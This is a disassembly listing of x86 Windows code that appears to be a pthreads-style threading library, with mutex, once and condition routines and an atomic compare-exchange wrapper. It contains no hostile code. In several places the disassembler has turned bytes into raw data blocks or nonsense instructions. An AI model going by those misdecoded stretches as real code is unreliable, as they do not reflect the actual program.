

loc_430D98:				; CODE XREF: sub_430C00+Aj
					; sub_430C00+14j
		pop	esi
		mov	eax, 16h
		pop	ebp
		retn
sub_430C00	endp

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430E10	proc near		; CODE XREF: sub_430C00+BFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		test	edi, edi
		jz	loc_430EAE
		mov	esi, [esp+14h+arg_4]
		test	esi, esi
		jnz	short loc_430E42
		or	eax, 0FFFFFFFFh


loc_430E2C:				; CODE XREF: sub_430E10+7Fj
		push	eax
		mov	eax, [edi]
		mov	ecx, [eax]
		push	ecx
		call	near ptr 2740E6Bh
		nop
		test	eax, eax
		jnz	short loc_430E9C
		pop	edi
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430E42:				; CODE XREF: sub_430E10+17j
		lea	eax, [esp+14h+var_C]
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [esi+4]
		mov	eax, 431BDE83h
		add	ecx, 7A120h
		add	esp, 4
		mul	ecx
		mov	eax, [esi]
		mov	ecx, [esp+14h+var_C]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		mov	edx, [esp+14h+var_8]
		sub	eax, ecx
		and	edx, 0FFFFh
		sub	eax, edx
		jns	short loc_430E2C
		pop	edi
		mov	eax, 2
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430E9C:				; CODE XREF: sub_430E10+2Aj
		cmp	eax, 102h
		jnz	short loc_430EAE
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430EAE:				; CODE XREF: sub_430E10+Bj
					; sub_430E10+91j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 0Ch
		retn
sub_430E10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430F00	proc near		; CODE XREF: sub_4010C3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	eax, ebx
		jz	loc_430FA0
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_430FA0
		cmp	esi, 0FFFFFFFFh
		push	edi
		jz	short loc_430F95
		mov	eax, [esi+0Ch]
		mov	edi, 1
		cmp	eax, edi
		jz	short loc_430F4A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jnz	short loc_430F4A
		mov	ebx, edi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430F4A:				; CODE XREF: sub_430F00+2Aj
					; sub_430F00+40j
		cmp	[esi+8], edi
		jnz	short loc_430F58
		mov	eax, [esi+4]
		dec	eax
		mov	[esi+4], eax
		jnz	short loc_430F9A


loc_430F58:				; CODE XREF: sub_430F00+4Dj
		lea	edi, [esi+14h]
		mov	[esi+0Ch], ebx
		push	edi
		nop
		call	near ptr 7C901005h
		push	esi
		call	near ptr 27501F5h
		nop
		test	eax, eax
		jl	short loc_430F88
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430F88
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_430F88:				; CODE XREF: sub_430F00+6Ej
					; sub_430F00+7Ej
		push	edi
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430F95:				; CODE XREF: sub_430F00+1Ej
		mov	ebx, 16h


loc_430F9A:				; CODE XREF: sub_430F00+56j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430FA0:				; CODE XREF: sub_430F00+Aj
					; sub_430F00+14j
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
sub_430F00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430FE0	proc near		; CODE XREF: sub_40177Bj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_431065
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_431065
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431002
		push	esi
		call	sub_401C03
		add	esp, 4
		mov	edi, eax


loc_431002:				; CODE XREF: sub_430FE0+15j
		mov	esi, [esi]
		test	edi, edi
		jnz	short loc_431060
		push	0FFFFFFFFh
		push	edi
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431033
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43102B
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43102B:				; CODE XREF: sub_430FE0+44j
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431033:				; CODE XREF: sub_430FE0+35j
		cmp	dword ptr [esi+8], 1
		jnz	short loc_43105B
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jz	short loc_43105B
		mov	eax, [esi+4]
		inc	eax
		mov	[esi+4], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43105B:				; CODE XREF: sub_430FE0+57j
					; sub_430FE0+6Dj
		mov	edi, 10h


loc_431060:				; CODE XREF: sub_430FE0+26j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431065:				; CODE XREF: sub_430FE0+Aj
					; sub_430FE0+10j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430FE0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4310A0:				; CODE XREF: ___:0040192Ej
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_40119A
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4310D0:				; CODE XREF: ___:00401587j
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_4018C0
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431100:				; CODE XREF: ___:0040148Dj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43110C
		mov	eax, [eax+4]
		retn
; ---------------------------------------------------------------------------


loc_43110C:				; CODE XREF: ___:00431106j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431120:				; CODE XREF: ___:00401BFEj
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jnz	short loc_431132
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431132:				; CODE XREF: ___:00431128j
		mov	esi, [eax]
		test	esi, esi
		jnz	short loc_431155
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_431155
		call	sub_401CEE
; ---------------------------------------------------------------------------
		dd 0CF5E856h, 0E890023Dh, 0FFFD0B9Eh, 5EC0335Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_431155:				; CODE XREF: ___:00431136j
					; ___:0043113Dj
		mov	ecx, [eax+4]
		mov	eax, 431BDE83h
		add	ecx, 0F423Fh
		imul	ecx
		sar	edx, 12h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		lea	eax, [esi+esi*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [eax+eax*4]
		lea	edi, [edx+ecx*8]
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jnz	short loc_43118E
		pop	edi
		mov	eax, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43118E:				; CODE XREF: ___:00431184j
		mov	eax, [esi+30h]
		push	edi
		test	eax, eax
		jnz	short loc_4311F6
		mov	edx, [esi+38h]
		push	edx
		call	near ptr 2740E6Bh
		nop
		test	eax, eax
		jnz	short loc_4311E7
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402225
		mov	eax, [esi+0Ch]
		add	esp, 4
		cmp	eax, 3
		jge	short loc_4311D6
		push	edi
		mov	dword ptr [esi+0Ch], 3
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4311D6:				; CODE XREF: ___:004311B6j
		push	edi
		call	sub_4010C3
		add	esp, 4
		mov	eax, 3
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4311E7:				; CODE XREF: ___:004311A2j
		cmp	eax, 102h
		jz	short loc_4311FC
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4311F6:				; CODE XREF: ___:00431194j
		nop
		call	near ptr 2801E3Fh


loc_4311FC:				; CODE XREF: ___:004311ECj
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431250:				; CODE XREF: ___:00401014j
		push	ecx
		lea	eax, [esp+0]
		push	eax
		call	sub_401C26
		add	esp, 4
		test	eax, eax
		mov	eax, 1
		jnz	short loc_43126B
		mov	eax, [esp+0]


loc_43126B:				; CODE XREF: ___:00431265j
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431280	proc near		; CODE XREF: sub_401708j
		push	esi
		call	sub_401320
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		mov	esi, eax
		nop
		call	near ptr 27B0922h
		push	offset aInterlockedcom ; "InterlockedCompareExchange"
		push	eax
		mov	dword_50E3E0, eax
		nop
		call	near ptr 27C0000h
		test	eax, eax
		mov	dword_50E3FC, eax
		jnz	short loc_4312CD
		mov	eax, dword_50E3E0
		mov	dword_50E3FC, offset sub_4012D0
		push	eax
		nop
		call	near ptr 2730000h
		mov	dword_50E3E0, 0


loc_4312CD:				; CODE XREF: sub_431280+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_431280	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431300	proc near		; CODE XREF: sub_40161Dj
		mov	eax, dword_50E3E4
		test	eax, eax
		jz	short loc_431350
		mov	eax, dword_50E3E8
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 86E8501Ah, 8BFFFD04h
		dd 50E3E80Dh, 4C48300h,	6A118Bh, 0FA45E852h, 0E890022Eh
		dd 0FFFD02FBh, 50E3E0A1h, 74C08500h, 0E8905007h, 22FECB0h
; ---------------------------------------------------------------------------


loc_431350:				; CODE XREF: sub_431300+7j
		mov	eax, 1
		retn
sub_431300	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431380	proc near		; CODE XREF: sub_4017B2j
		mov	eax, 1
		retn
sub_431380	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4313A0	proc near		; CODE XREF: sub_4017C1j
		mov	eax, dword_50E3E4
		test	eax, eax
		jz	short loc_4313DB
		mov	eax, dword_50E3E8
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0E6E8501Ah,	8BFFFD03h
		dd 50E3E80Dh, 4C48300h,	6A118Bh, 0A4E89052h
		db 0F9h, 2Eh, 2
; ---------------------------------------------------------------------------


loc_4313DB:				; CODE XREF: sub_4313A0+7j
		mov	eax, 1
		retn
sub_4313A0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431410:				; CODE XREF: ___:00402239j
		push	ecx
		push	esi
		push	offset dword_50E9C0
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, dword_50E3F0
		test	eax, eax
		mov	[esp+4], eax
		jz	short loc_43144E


loc_43142C:				; CODE XREF: ___:0043144Cj
		test	esi, esi
		jnz	short loc_43144E
		lea	eax, [esp+4]
		push	eax
		call	sub_401604
		mov	ecx, [esp+8]
		mov	esi, eax
		add	esp, 4
		mov	eax, [ecx+18h]
		test	eax, eax
		mov	[esp+4], eax
		jnz	short loc_43142C


loc_43144E:				; CODE XREF: ___:0043142Aj
					; ___:0043142Ej
		push	offset dword_50E9C0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		neg	eax
		sbb	eax, eax
		and	eax, 0Bh
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431490	proc near		; CODE XREF: sub_4012B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_4314A9
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4314A9
		cmp	dword ptr [eax], 0C4C0FFEEh
		jnz	short loc_4314A9
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4314A9:				; CODE XREF: sub_431490+6j
					; sub_431490+Cj ...
		mov	eax, 1
		retn
sub_431490	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4314C0	proc near		; CODE XREF: sub_401320j
		mov	eax, dword_50E3E4
		test	eax, eax
		jz	short loc_4314CF
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4314CF:				; CODE XREF: sub_4314C0+7j
		push	0
		push	offset dword_50E3E8
		mov	dword_50E3E4, 1
		call	sub_4015FF
		add	esp, 8
		test	eax, eax
		jnz	short loc_4314FE
		push	eax
		push	offset dword_50E3EC
		call	sub_4015FF
		add	esp, 8
		test	eax, eax
		jz	short loc_431503


loc_4314FE:				; CODE XREF: sub_4314C0+2Aj
		call	sub_40163B


loc_431503:				; CODE XREF: sub_4314C0+3Cj
		push	esi
		mov	esi, dword_50F85C
		push	offset dword_50E900
		call	esi
		push	offset dword_50E960
		call	esi
		push	offset dword_50E9C0
		call	esi
		push	offset dword_50E940
		call	esi
		push	offset dword_50E9A0
		call	esi
		push	offset dword_50E980
		call	esi
		mov	eax, dword_50E3E4
		pop	esi
		retn
sub_4314C0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431560	proc near		; CODE XREF: sub_40163Bj
		mov	eax, dword_50E3E4
		test	eax, eax
		jz	locret_431619
		mov	eax, dword_50E3E8
		test	eax, eax
		jz	short loc_431589
		push	eax
		call	sub_401AA0
		add	esp, 4
		mov	dword_50E3E8, 0


loc_431589:				; CODE XREF: sub_431560+14j
		mov	eax, dword_50E3EC
		test	eax, eax
		jz	short loc_4315A5
		push	eax
		call	sub_401AA0
		add	esp, 4
		mov	dword_50E3EC, 0


loc_4315A5:				; CODE XREF: sub_431560+30j
		push	esi
		push	offset dword_50E900
		call	near ptr 7C901005h
		nop
		mov	eax, dword_44574C
		cmp	eax, 1
		jz	short loc_4315D3
		push	edi
		mov	edi, dword_50FAC4


loc_4315C2:				; CODE XREF: sub_431560+70j
		mov	esi, [eax+8]
		push	eax
		call	edi	; free
		add	esp, 4
		cmp	esi, 1
		mov	eax, esi
		jnz	short loc_4315C2
		pop	edi


loc_4315D3:				; CODE XREF: sub_431560+59j
		push	offset dword_50E900
		call	near ptr 7C9010EDh
		nop
		mov	esi, dword_50F858
		push	offset dword_50E980
		call	esi
		push	offset dword_50E9A0
		call	esi
		push	offset dword_50E940
		call	esi
		push	offset dword_50E9C0
		call	esi
		push	offset dword_50E960
		call	esi
		push	offset dword_50E900
		call	esi
		mov	dword_50E3E4, 0
		pop	esi

locret_431619:				; CODE XREF: sub_431560+7j
		retn
sub_431560	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431650:				; CODE XREF: ___:loc_401B95j
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	eax
		mov	esi, [eax]
		mov	ecx, [eax+4]
		mov	edx, [eax+8]
		mov	[ebp-4], esi
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], edx
		call	near ptr 77C2C21Bh
		nop
		mov	eax, dword_50E3E8
		push	esi
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		mov	dword ptr [esi+0Ch], 1
		add	esi, 3Ch
		push	0
		push	esi
		call	sub_436A5C
; ---------------------------------------------------------------------------
		mov	edi, [ebp-4]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4316AC
		mov	ecx, [ebp-8]
		push	ecx
		call	dword ptr [ebp-0Ch]
		add	esp, 4
		mov	[edi+14h], eax
		mov	esi, eax
		jmp	short loc_4316B8
; ---------------------------------------------------------------------------


loc_4316AC:				; CODE XREF: ___:00431699j
		dec	eax
		jz	short loc_4316B5
		dec	eax
		or	esi, 0FFFFFFFFh
		jmp	short loc_4316B8
; ---------------------------------------------------------------------------


loc_4316B5:				; CODE XREF: ___:004316ADj
		mov	esi, [edi+14h]


loc_4316B8:				; CODE XREF: ___:004316AAj
					; ___:004316B3j
		cmp	dword ptr [edi+20h], 1
		jnz	short loc_4316D7
		call	sub_4017C1
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4316D7:				; CODE XREF: ___:004316BCj
		push	edi
		call	sub_40131B
		add	esp, 4
		push	esi
		call	near ptr 77C3A307h
		nop
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431730	proc near		; CODE XREF: sub_4017ADj

var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4

		sub	esp, 84h
		push	ebx
		mov	ebx, [esp+88h+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_4317AA
		lea	esi, [ebx+2Ch]
		push	edi
		push	esi
		call	sub_402225
		push	esi
		mov	dword ptr [ebx+0Ch], 5
		call	sub_4010C3
		push	ebx
		call	sub_40131B
		mov	ecx, 21h
		mov	esi, ebx
		lea	edi, [esp+9Ch+var_84]
		push	ebx
		rep movsd
		call	sub_401BBD
		mov	eax, [esp+0A0h+var_4C]
		mov	esi, dword_50F8D8
		add	esp, 10h
		test	eax, eax
		pop	edi
		jz	short loc_431788
		push	eax
		call	esi


loc_431788:				; CODE XREF: sub_431730+53j
		lea	eax, [esp+8Ch+var_58]
		push	eax
		call	sub_40222F
		mov	eax, [esp+90h+var_80]
		add	esp, 4
		test	eax, eax
		jz	short loc_4317AA
		test	[esp+8Ch+var_8], 1
		jnz	short loc_4317AA
		push	eax
		call	esi


loc_4317AA:				; CODE XREF: sub_431730+11j
					; sub_431730+6Bj ...
		pop	esi
		pop	ebx
		add	esp, 84h
		retn
sub_431730	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4317F0	proc near		; CODE XREF: sub_401DC5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	14h
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431811
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431811:				; CODE XREF: sub_4317F0+15j
		mov	edi, [esp+10h+arg_8]
		mov	ebp, [esp+10h+arg_4]
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	[esi+4], ebp
		lea	ebx, [edi+8]
		mov	[esi+8], edi
		push	ebx
		call	sub_402225
		add	esp, 4
		mov	[esp+10h+arg_4], eax
		test	eax, eax
		jz	short loc_431852
		push	esi
		call	sub_40222F
		push	esi
		call	near ptr 77C2C21Bh
		nop
		mov	eax, [esp+18h+arg_4]
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431852:				; CODE XREF: sub_4317F0+47j
		mov	eax, [edi+0Ch]
		push	ebx
		mov	[esi+10h], eax
		mov	[edi+0Ch], esi
		call	sub_4010C3
		add	esp, 4
		test	ebp, ebp
		jz	short loc_431877
		mov	ecx, [ebp+80h]
		mov	[esi+0Ch], ecx
		mov	[ebp+80h], esi


loc_431877:				; CODE XREF: sub_4317F0+76j
		mov	edx, [esp+10h+arg_0]
		pop	edi
		xor	eax, eax
		mov	[edx], esi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4317F0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4318C0	proc near		; CODE XREF: sub_40105Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_4318E7
		mov	eax, [esi+8]
		test	eax, eax
		jnz	short loc_4318E7
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_4318E7
		push	esi
		call	sub_40222F
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 8


loc_4318E7:				; CODE XREF: sub_4318C0+7j
					; sub_4318C0+Ej ...
		pop	esi
		retn
sub_4318C0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431900	proc near		; CODE XREF: sub_40131Bj

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_43196D
		mov	esi, [ebx+80h]
		test	esi, esi
		jz	short loc_43196D
		push	edi


loc_431915:				; CODE XREF: sub_431900+6Aj
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_431968
		mov	edi, [esi+8]
		test	edi, edi
		jz	short loc_431943
		push	edi
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_431943
		mov	edi, [edi+4]
		test	edi, edi
		jz	short loc_431943
		push	eax


loc_43193E:				; CODE XREF: ___:004319B7j
		call	edi	; free
		add	esp, 4


loc_431943:				; CODE XREF: sub_431900+27j
					; sub_431900+34j ...
		mov	eax, [esi+0Ch]
		mov	dword ptr [esi+4], 0
		push	esi
		mov	[ebx+80h], eax
		call	sub_4010C3
		push	esi
		call	sub_40105F
		mov	esi, [ebx+80h]
		add	esp, 8


loc_431968:				; CODE XREF: sub_431900+20j
		test	esi, esi
		jnz	short loc_431915
		pop	edi


loc_43196D:				; CODE XREF: sub_431900+8j
					; sub_431900+12j
		pop	esi
		pop	ebx
		retn
sub_431900	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431990	proc near		; CODE XREF: sub_401DD4j
		mov	eax, dword_50E3E8
		push	ebx
		push	edi
		push	eax
		call	sub_401190
sub_431990	endp

; ---------------------------------------------------------------------------
		db 8Bh,	5Ch, 24h
; ---------------------------------------------------------------------------
		adc	[ebx-47CFB3Ch],	al
		add	cl, [ebx-7CF28B08h]
		sti
		add	[eax+ecx+6Ah], esi
		add	[eax-7F7B3918h], edx
		ja	short loc_43193E
		push	dword ptr [esi+eax-0Ah]
		inc	edi
		jl	short near ptr loc_4319C0+1


loc_4319C0:				; CODE XREF: ___:004319BEj
		jz	short loc_4319E5
		push	esi
		mov	eax, ebx
		xor	esi, esi
		dec	eax
		jz	short loc_4319D2
		dec	eax
		jnz	short loc_4319D5
		or	esi, 0FFFFFFFFh
		jmp	short loc_4319D5
; ---------------------------------------------------------------------------


loc_4319D2:				; CODE XREF: ___:004319C8j
		mov	esi, [edi+14h]


loc_4319D5:				; CODE XREF: ___:004319CBj
					; ___:004319D0j
		call	sub_4017C1
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		pop	esi


loc_4319E5:				; CODE XREF: ___:loc_4319C0j
		push	1
		call	sub_401B0E
; ---------------------------------------------------------------------------
		dd 8304C483h, 57533CC7h, 537AE890h, 90907780h, 90909090h
		dd 8 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431A20	proc near		; CODE XREF: sub_401B0Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_401122
sub_431A20	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_431A3F


loc_431A32:				; CODE XREF: ___:00431A3Dj
		push	esi
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_431A32


loc_431A3F:				; CODE XREF: ___:00431A30j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431A60:				; CODE XREF: ___:00401DDEj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431A80	proc near		; CODE XREF: sub_4012D0j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		lock cmpxchg [ecx], edx
		mov	[ebp+var_4], eax
		pop	edx
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_431A80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431AC0	proc near		; CODE XREF: sub_401C26j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		lea	eax, [esp+8+var_4]
		lea	ecx, [esp+8+var_8]
		push	esi
		push	eax
		push	ecx
		xor	esi, esi
		call	near ptr 2750E10h
		nop
		push	eax
		nop
		call	near ptr 272099Dh
		test	eax, eax
		jz	short loc_431B02
		mov	edx, [esp+0Ch+var_8]
		xor	ecx, ecx
		mov	eax, 1


loc_431AEC:				; CODE XREF: sub_431AC0+33j
		test	eax, edx
		jz	short loc_431AF1
		inc	ecx


loc_431AF1:				; CODE XREF: sub_431AC0+2Ej
		shl	eax, 1
		jnz	short loc_431AEC
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, esi
		pop	esi
		mov	[edx], ecx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_431B02:				; CODE XREF: sub_431AC0+1Fj
		mov	eax, 0Bh
		pop	esi
		add	esp, 8
		retn
sub_431AC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431B30	proc near		; CODE XREF: sub_40184Dj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E9A0
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431B64
		push	esi
		push	ecx
		call	sub_401F73
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E9A0
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B64:				; CODE XREF: sub_431B30+17j
		test	eax, eax
		jnz	short loc_431B6D
		mov	esi, 16h


loc_431B6D:				; CODE XREF: sub_431B30+36j
		push	offset dword_50E9A0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_431B30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



